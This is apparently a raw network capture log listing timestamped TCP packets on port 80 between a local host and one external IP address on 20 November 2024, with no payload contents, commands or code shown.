Nov 20, 2024 09:14:46.703650951 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.703676939 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.703681946 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.703689098 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.703700066 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.703706026 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.703713894 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.703794956 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.703819990 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.703830957 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.703841925 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.703851938 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.703862906 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.703875065 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.703876019 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.703891993 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.703917027 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.990257978 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.990286112 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.990298033 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.990309954 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.990324020 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.990334988 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.990345001 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.990355015 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.990375042 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.990386009 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.990401030 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.990413904 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.990418911 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.990430117 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.990451097 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.990453959 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.990494013 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.990508080 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.990519047 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.990537882 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.990540981 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.990588903 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.990624905 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.990637064 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.990650892 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.990669966 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.990691900 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.990698099 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.990715027 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.990726948 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.990737915 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.990765095 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.990768909 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.990787029 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.990799904 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.990823030 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.990839005 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.990864038 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.990876913 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.990911961 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.990979910 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.990991116 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.991002083 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.991029978 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.991044044 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.991070986 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.991084099 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.991095066 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.991121054 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.991148949 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.991183996 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.991197109 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.991209984 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.991238117 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.991261959 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.991266966 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.991278887 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.991290092 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.991302013 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.991308928 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.991345882 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.991404057 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.991422892 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.991436005 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.991466045 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.991481066 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.991502047 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.991513014 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.991518974 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.991553068 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.991575956 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.991592884 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.991611958 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.991630077 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.991640091 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.991647959 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.991652012 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.991664886 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.991689920 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.991689920 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.991719007 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.991733074 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.991745949 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.991760969 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.991770029 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.991770983 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.991806984 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.991830111 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.995973110 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.995987892 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.996001959 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.996020079 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.996033907 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.996045113 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.996045113 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.996057034 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.996069908 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.996093988 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.996140957 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.996187925 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.996198893 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.996210098 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.996218920 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.996227026 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.996231079 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.996234894 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.996303082 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.996459007 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.996476889 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.996489048 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.996500015 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.996510983 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.996514082 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.996521950 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.996534109 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.996537924 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.996546030 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.996557951 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.996560097 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.996573925 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.996606112 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.996634007 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.996645927 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.996660948 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.996673107 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.996697903 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.996699095 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.996711969 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.996722937 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.996736050 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.996742010 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.996766090 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.996769905 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.996784925 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.996792078 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.996819973 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.996937990 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.996948957 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.996962070 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.996972084 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.997003078 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.997003078 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.997015953 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.997025013 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.997035027 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.997055054 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.997071028 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.997148037 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.997159004 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.997169018 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.997179985 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.997190952 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.997194052 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.997201920 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.997212887 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.997222900 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.997248888 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.997410059 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.997421026 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.997432947 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.997459888 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.997486115 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.997513056 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.997524023 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.997534037 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.997539997 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.997581005 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.997720003 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.997737885 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.997749090 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.997760057 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.997771025 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.997776031 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.997800112 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.997814894 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.209346056 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.209398031 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.209553957 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.209608078 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.209635973 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.209646940 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.209656954 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.209669113 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.209678888 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.209685087 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.209690094 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.209719896 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.209745884 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.209850073 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.209861040 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.209867954 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.209880114 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.209892988 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.209903002 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.209908009 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.209914923 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.209924936 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.209937096 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.209939957 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.209964991 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.209976912 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.210010052 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.210021019 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.210031033 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.210036039 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.210042000 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.210051060 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.210052013 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.210077047 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.210078001 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.210107088 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.210112095 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.210123062 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.210144997 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.210172892 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.475820065 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.475840092 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.475852013 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.475886106 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.475930929 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.475939989 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.475943089 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.475955963 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.475967884 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.475977898 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.475991964 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.476000071 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.476003885 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.476020098 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.476028919 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.476032972 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.476049900 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.476057053 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.476146936 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.476176023 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.476186991 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.476197958 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.476216078 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.476222038 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.476233959 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.476243973 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.476246119 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.476254940 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.476265907 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.476274014 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.476275921 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.476295948 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.476300955 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.476308107 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.476319075 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.476320982 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.476349115 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.476373911 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.476537943 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.476550102 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.476561069 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.476571083 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.476581097 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.476587057 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.476592064 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.476603985 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.476617098 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.476627111 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.476630926 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.476636887 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.476644039 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.476655960 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.476664066 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.476667881 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.476675034 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.476685047 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.476686954 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.476696968 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.476716995 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.476737022 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.476967096 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.476979017 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.476989031 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.476999998 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.477010965 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.477010965 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.477021933 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.477034092 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.477041006 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.477067947 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.477085114 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.477096081 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.477102041 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.477113008 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.477138996 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.477145910 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.477155924 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.477165937 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.477166891 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.477180958 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.477193117 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.477195978 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.477206945 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.477219105 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.477225065 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.477229118 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.477236032 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.477241993 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.477245092 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.477253914 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.477258921 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.477264881 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.477269888 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.477272987 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.477282047 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.477293015 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.477303982 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.477315903 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.477318048 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.477340937 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.477365017 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.478332996 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.478343964 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.478354931 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.478364944 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.478377104 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.478388071 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.478389025 CET	49701	80	192.168.2.11	42.193.100.57
